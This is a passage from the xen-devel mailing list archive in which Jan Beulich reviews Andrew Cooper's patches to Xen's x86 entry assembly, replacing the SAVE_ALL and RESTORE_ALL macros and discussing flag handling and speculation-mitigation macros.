 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260706153415.1264750-2-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1783407385-560EF7C5-816B7917/0/0
X-purgate-type: clean
X-purgate-size: 448

On 06.07.2026 17:34, Andrew Cooper wrote:
> SAVE_ALL hides a CLD instruction which is not needed anywhere here.
> 
>  * VMX VMExit always clears flags.  VMX VMentry failure never switched away
>    from the host flags, so they're still good.
>  * SVM VMRUN always saves and restores the host flags.
> 
> No functional change.
> 
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>

Reviewed-by: Jan Beulich <jbeulich@suse.com>



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 07:04:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 07:04:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355970.1610633 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgzqU-0002gi-W0; Tue, 07 Jul 2026 07:03:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355970.1610633; Tue, 07 Jul 2026 07:03:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgzqU-0002gb-TO; Tue, 07 Jul 2026 07:03:54 +0000
Received: by outflank-mailman (input) for mailman id 1355970;
 Tue, 07 Jul 2026 07:03:52 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wgzqS-0002gV-PF
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 07:03:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgzqR-00AxM5-Iv
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 09:03:51 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4ca4c9-bab6-0a2a0a5309dd-0a2a4501c0fa-44
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 09:03:51 +0200
Received: from [209.85.221.43] (helo=mail-wr1-f43.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4ca4d7-400f-0a2a45010019-d155dd2bd907-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 09:03:51 +0200
Received: by mail-wr1-f43.google.com with SMTP id
 ffacd0b85a97d-45fd464d51fso1945421f8f.3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 00:03:51 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e0f43912sm39170425e9.7.2026.07.07.00.03.49
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 00:03:50 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783407831; x=1784012631; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=6fy7Qln24UXWaLRE76c209nR2gsTmukRmjmzTSulMGc=;
        b=A5YJojyKAwQbK/RZ2sEwJijFF9IJNgoCGwzXfA2e8YhB2oiE6Bi1Y3+dOIazmsWXSG
         tMawf4qh8Lr7jHeJ8+Cr5YfWuAk3WxkPU9L28UOOKr8ZtCiTRBCvIAj10JIn7iMSUhMJ
         uzA6MrkXW23QAL1VrhQGRTYCRTGioQ1HAncsTB66sqS3fKDYAQe34AGkgBBg0ixvUpgy
         p7Nd+0hreNbVayFP3p+tYAU9/ILPZDFuqb1cGq9YHKqzftcb1LkNioSYf8ADdXea2b9m
         lmtjmUbgJDHFlZe4F+pdrz/sGLftQR8JP5oL+ec3J51X1BE99AXgssHx6yZDG/S2/dUg
         VLng==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783407831; x=1784012631;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=6fy7Qln24UXWaLRE76c209nR2gsTmukRmjmzTSulMGc=;
        b=HiW5uiNSMcnoEnPNlGyiBOn6MgNxTP2zQVkD/qiWynYNI7m8gCtdcCpQ/ZcwWsQHLg
         ZIc27mahqn4tKPdGDoPn+Phq81QvRv+g7tNWfWYQNpSGiAbpxi3mn0hd9Erij14kjH3N
         p42GdmBuP3KIDUZx/hxH5iVmu5t9euDb8sjG+TEc04CV8uFInvYtDIAPUFYdWY9vKmEe
         f1Im0vu5WPlktLwuJSxAu1sOhtYPC4vrJNvi5PzPdfNFYq/6X0veEfI5wyXNdHJvyr0m
         W0KuFKLeuEbVFtst2ZOj2+J58BY+7ZREGyVHDxDpMKHxm4EJd0ByljQchvStfLvdy4RD
         dELA==
X-Forwarded-Encrypted: i=1; AHgh+RrbGcBfSmv6/tTvT2qR7I2DPpSHoLIVG479Z3rmgRtFhy/c4FA7s2imekewemymjNVmOmGydiiPiLg=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxFMGO5eyfnAH3l2qJ/iC7EH3dzRSOH+JciX8xZBwZ8c+efJyl7
	aXKVXc3kl22dpPBn4jQDdrRv2LWy2GBIoZ1oAix+c7SVax7N4pKM+ZDJMyMAo3QCuA==
X-Gm-Gg: AfdE7cmBSyMPFc0ZRhwhYzelLv78V1Bzcq4LukBfg12/sgSbDoU1LbxVrgQF/4p/PYz
	qRH6xLL5PXqsCtUFkzKZatnDWDI1eq3aeEMRvcVMKXMknFnvELOKdSoaCjWUZ5tmJ8eveQb2rIL
	Vh0FEluIS2Tvm4UxwYqDZTdUxINlgiQGcIjIE/EQ4/BLVEPCtm4IbH7hQ9ZICdpzsgL1hsRaanJ
	R50a5BaLOOf8UPzvbHh0Tt3qgv9kYk+Zg2PNA/QHnde5TADhJh2K/dDPzqkpD5lR4gI/NXHVOMa
	QEer4gAX0PqNr0syZ1UoIa3c9PxF7YEBoaZCn2+rY4QauKb+H53HdsKByBZ14pVCzqYeUinNCrk
	s8uoA1PxokQFzVUBCuKLvXrjm8wexQGdXW8lVMcNwsyOpNkCiamrdOxX8VQumpw5VR25DOkvVIu
	5BKes2yhBrV+nKGBXRaTvNNUUnesBBUlL/Kw21qfM+29yIOgYeytAdOyDtN6hJwX9ETrn9qttTn
	98j
X-Received: by 2002:a05:600c:8b6e:b0:493:a5d4:3798 with SMTP id 5b1f17b1804b1-493df0663fdmr38673565e9.1.1783407830756;
        Tue, 07 Jul 2026 00:03:50 -0700 (PDT)
Message-ID: <25cdcaa0-64cf-4014-ae52-3114f39abea7@suse.com>
Date: Tue, 7 Jul 2026 09:03:49 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/3] x86/entry: Use POP_GPRS and remove RESTORE_ALL
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260706153415.1264750-1-andrew.cooper3@citrix.com>
 <20260706153415.1264750-3-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
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kLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260706153415.1264750-3-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1783407831-838C81E0-6711E8DC/0/0
X-purgate-type: clean
X-purgate-size: 3090

On 06.07.2026 17:34, Andrew Cooper wrote:
> POP_GPRS is shorter than RESTORE_ALL in terms of emitted code.
> 
> By separating the popping of entry_vector/error_code off the stack,
> SPEC_CTRL_COND_VERW doesn't need custom displacements.
> 
> Get rid of the compat=1 special case for PV32.  It's not obviously a win, and
> PV32 is getting increasingly rare these days.
> 
> No functional change.
> 
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>

Reviewed-by: Jan Beulich <jbeulich@suse.com>
as-is, however ...

> --- a/xen/arch/x86/x86_64/compat/entry.S
> +++ b/xen/arch/x86/x86_64/compat/entry.S
> @@ -160,12 +160,11 @@ FUNC(compat_restore_all_guest)
>          /* WARNING! `ret`, `call *`, `jmp *` not safe beyond this point. */
>          SPEC_CTRL_EXIT_TO_PV    /* Req: a=spec_ctrl %rsp=regs/cpuinfo, Clob: cd */
>  
> -        RESTORE_ALL adj=8, compat=1
> +        POP_GPRS
>  
> -        /* Account for ev/ec having already been popped off the stack. */
> -        SPEC_CTRL_COND_VERW \
> -            scf=STK_REL(CPUINFO_scf,      CPUINFO_rip), \
> -            sel=STK_REL(CPUINFO_verw_sel, CPUINFO_rip)
> +        SPEC_CTRL_COND_VERW     /* Req: %rsp=eframe                    Clob: efl */
> +
> +        add     $8, %rsp        /* Pop ev/ec off the stack */
>  
>          jmp     iret_to_guest
>  END(compat_restore_all_guest)
> --- a/xen/arch/x86/x86_64/entry.S
> +++ b/xen/arch/x86/x86_64/entry.S
> @@ -226,7 +226,8 @@ FUNC_LOCAL(restore_all_guest)
>          /* WARNING! `ret`, `call *`, `jmp *` not safe beyond this point. */
>          SPEC_CTRL_EXIT_TO_PV    /* Req: a=spec_ctrl %rsp=regs/cpuinfo, Clob: cd */
>  
> -        RESTORE_ALL
> +        POP_GPRS
> +
>          BUILD_BUG_ON(TRAP_syscall & 0xff)
>          testb $TRAP_syscall >> 8, EFRAME_entry_vector + 1(%rsp)
>          jz    iret_exit_to_guest
> @@ -753,20 +754,17 @@ UNLIKELY_END(exit_cr3)
>          /* WARNING! `ret`, `call *`, `jmp *` not safe beyond this point. */
>          SPEC_CTRL_EXIT_TO_XEN /* Req: %r12=ist_exit %r14=end %rsp=regs, Clob: abcd */
>  
> -        RESTORE_ALL adj=8
> +        POP_GPRS
>  
>          /*
>           * When the CPU pushed this exception frame, it zero-extended eflags.
>           * For an IST exit, SPEC_CTRL_EXIT_TO_XEN stashed shadow copies of
>           * scf and ver_sel above eflags, as we can't use any GPRs,
>           * and we're at a random place on the stack, not in a CPUFINFO block.
> -         *
> -         * Account for ev/ec having already been popped off the stack.
>           */
> -        SPEC_CTRL_COND_VERW \
> -            scf=STK_REL(EFRAME_shadow_scf, EFRAME_rip), \
> -            sel=STK_REL(EFRAME_shadow_sel, EFRAME_rip)
> +        SPEC_CTRL_COND_VERW     /* Req: %rsp=eframe                    Clob: efl */
>  
> +        add     $8, %rsp        /* Pop ev/ec off the stack */
>          iretq
>  END(restore_all_xen)

... both uses of SPEC_CTRL_COND_VERW's with arguments go away. Shouldn't
the macro thus also be pruned of its parameters?

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 07:16:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 07:16:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355978.1610642 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh02W-0004Xf-1G; Tue, 07 Jul 2026 07:16:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355978.1610642; Tue, 07 Jul 2026 07:16:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh02V-0004XY-Uo; Tue, 07 Jul 2026 07:16:19 +0000
Received: by outflank-mailman (input) for mailman id 1355978;
 Tue, 07 Jul 2026 07:16:19 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh02V-0004XS-HE
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 07:16:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh02T-003VtO-UC
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 09:16:17 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4ca7bb-2eae-0a2a0a5409dd-0a2a4502a75a-48
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 09:16:17 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4ca7c1-5a27-0a2a45020019-d1558031e125-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 09:16:17 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-493c83474ddso33841375e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 00:16:17 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9e4d7801sm31946739f8f.16.2026.07.07.00.16.16
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 00:16:16 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783408577; x=1784013377; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Mjb/c/myA+tuD/YBBTtZR4yJa0PaQQACdHd1x/OrSzk=;
        b=NfYHHr8FVu7S4ENGdNqjlhcphEuyu3xsuk2W0eNcce2g9FV95NMoTHxvbvHFZHUCMy
         bln4B7JnSKnhOPasGs95ckg1jy6/lsZCHRdGHuPvKtiIyfcYR8QQZuQUG22Kf8L1YlyQ
         Ru38VxWcJDzehP6c7FMw7eT+HrCpbG0KYLC1YVbUPUJJk7aqBlA/PNTClJR4kGJkf8o1
         p3KeaCD1ZtXYusCp951qcvbjEBWvROxneSQouXRshYZEYjnbphdHldBPKyb/7SGzjaHC
         kCZzep7KRrNxfuOaMMAk1XVr6SV2cRQXEqoJLI6FDcH+XG24pTYVHuVSsPzPK/4Wzk57
         gVOw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783408577; x=1784013377;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Mjb/c/myA+tuD/YBBTtZR4yJa0PaQQACdHd1x/OrSzk=;
        b=ifDDL4CFnQY9MeiSFtbTS9UTOdJz+4030duWZ3++DnbXdGd2KDKE6HW4/R5LWv6pd4
         Ge74mBue+fn157fTR+FaX+cm2nyOWGnr85/77s5rrJv00hduW1DzrKiQNtbeJ52tg3To
         n+Y2lZjU65rjKdYkah186qCGVAEzUqxeu6VIY/qa+nc9fnKWRpQSdygNsuZFKlWqdXG9
         EgZspxcuujltoeTz8agGcO3I+QC6qfkb32tqgfWgNwLTvMSE513U918cEa09URtTeqDg
         UBYPo1zD8BZcrAU2Z1GS+g3EGBM7XN7dZTVDcBU/30XB6HVhWybAjOBOuV76BjUQudgL
         OtzA==
X-Forwarded-Encrypted: i=1; AHgh+RoPduFrnPnA286rdkKv0sPHAGYTGgtY2ZkvpoHenDIg+D8AiUEyy47PVBMy01sL3VZPgsP3eJTJuRM=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy39a+IDaxa75PmoRZFtjM2GbIyVKuheGZHqbZWR1Ot9vcTvqfT
	ha9/GGjyhOuOVs43Wnsk5+xSSE92TtRx04M8sspYurOxawASwSer4d115N5YE9xD+g==
X-Gm-Gg: AfdE7cliMq1RjJfgxzSDn97ZEovM8jyLAB66vlAMmmTvFnL/DZz4d2N8uzqcb1DYXxf
	UiL0TrZV/6L1xNqHaLYy2k6dh/6KHYSssYSavXUm1pi0SLlV78fFy94sP5kw5cee5jTBQvBow5+
	XfZW8mf93jTRc+8j9zJZOQrfHu99oHbzrXxJ4L5E+cmufBoT2Q73d1xIJO8L/QK6rLJJYZwXkwd
	WPgP1wJ62NBBppyAaq1yf1lyTzi+AuiedfGYjbdOgsx/UWI6/kfxzreKfwz6k5k0T3oHV8nRaMQ
	G2o56EcjFJTrV0hvMw/pBCnxtXujbFNxzUzh8UCbpaoXkHYUa3p6XtVkcmkN9E/+EW5bTE8kZSn
	NXLkGbD8IYAzYDp3F9Or2T4etlLj87+Lz4Z27S4k3FMxmsY7XuQW5BDRcSbw2kPusfMOWrnl/S8
	BikqEE7ez7njpA3kWNupQw7QeiKcFjByuI/TvyTr6eJgh8BIVfJVXw5YdLTNOYJGUF6PViM03Fh
	aXq
X-Received: by 2002:a05:600c:8b6f:b0:493:a7bc:5bcf with SMTP id 5b1f17b1804b1-493df08cf98mr39971585e9.24.1783408577217;
        Tue, 07 Jul 2026 00:16:17 -0700 (PDT)
Message-ID: <6c4bb5bc-be27-4eef-a08f-1dd96df81304@suse.com>
Date: Tue, 7 Jul 2026 09:16:16 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 3/3] x86/entry: Use PUSH_AND_CLEAR_GPRS and drop SAVE_ALL
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260706153415.1264750-1-andrew.cooper3@citrix.com>
 <20260706153415.1264750-4-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32X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pQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260706153415.1264750-4-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1783408577-545187C5-AF3D03D8/0/0
X-purgate-type: clean
X-purgate-size: 1560

On 06.07.2026 17:34, Andrew Cooper wrote:
> PUSH_AND_CLEAR_GPRS is shorter than SAVE_ALL in terms of emitted code.

Could patch 1 perhaps also gain this sentence?

> lstar_enter() and cstar_enter() do not need CLD.  The SYSCALL instruction
> sanitises flags based on MSR_SYSCALL_MASK.  For all other cases, place the CLD
> instruction next to STAC/CLAC so the flag handling is together.

And really the earlier the better. Relevant perhaps for early_page_fault(),
which has no CLAC.

> Get rid of the compat=1 special case for PV32.  It's not obviously a win, and
> PV32 is getting increasingly rare these days.
> 
> No functional change.
> 
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>

Reviewed-by: Jan Beulich <jbeulich@suse.com>

> Bloat-o-meter reports:
>   add/remove: 0/0 grow/shrink: 0/12 up/down: 0/-518 (-518)
>   Function                                     old     new   delta
>   symbols_names                             135277  135276      -1
>   symbols_offsets                            53664   53660      -4

Interesting. Likely an artifact of padding going away between two functions.
Which likely would change again if the SLS patches would finally land
("x86: guard against straight-line speculation past JMP or RET in assembly
files" here in particular).

Btw, as it occurs to me while mentioning SLS: Judging from the patches I
have, IRET looks to be immune, albeit I can't find any statement in the doc.
What about ERET{S,U}, uses of which we've gained only relatively recently?

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 07:34:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 07:34:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355985.1610651 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh0Js-0007YP-AZ; Tue, 07 Jul 2026 07:34:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355985.1610651; Tue, 07 Jul 2026 07:34:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh0Js-0007YI-7i; Tue, 07 Jul 2026 07:34:16 +0000
Received: by outflank-mailman (input) for mailman id 1355985;
 Tue, 07 Jul 2026 07:34:15 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wh0Jr-0007YC-Cw
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 07:34:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh0Jo-00CGi7-Q6
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 09:34:12 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4cabef-bab6-0a2a0a5309dd-0a2a450c8b4a-12
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 09:34:12 +0200
Received: from [209.85.167.46] (helo=mail-lf1-f46.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4cabf4-f399-0a2a450c0019-d155a72ed419-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 09:34:12 +0200
Received: by mail-lf1-f46.google.com with SMTP id
 2adb3069b0e04-5aebba706b3so3548974e87.0
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 00:34:12 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 38308e7fff4ca-39b4adf5f1dsm25939651fa.26.2026.07.07.00.34.10
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 00:34:11 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783409652; x=1784014452; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=jrJFWLicsUvUdRPe4aai5P4jIBINqdgc0aiTjMmxkXM=;
        b=R6I3ao0rDAjywFxC84iYsdHnci7GcqPiPe3mlGr7w6y8RhL6awe8wzKprFv/voTpYY
         7T9fG/zl/Vjus3T/kDhQ2Ma3upAcrnxpneT8YQmQuQEF5za2Jh71nRlC7A5CQ1Ejmr0i
         /R8tSsWcg+RJF6lWxABC50dGfh1aa+7cR0J0KczK7EbHZa8bUIlBLigXH6jkKDB2N2UW
         hxdAtydSlIT4H4oyGSfqElNGlBAPYbd4ohJ2pTYm/s9wGuF5CFA+GwofB5Oj/QrMNpiQ
         6ipG+jpsxJwGODnyVZxmo1E1b7GmAtwxyeFK4gNqexpg2RTvm64uRaEu+tgvII7NH8sr
         zjgA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783409652; x=1784014452;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
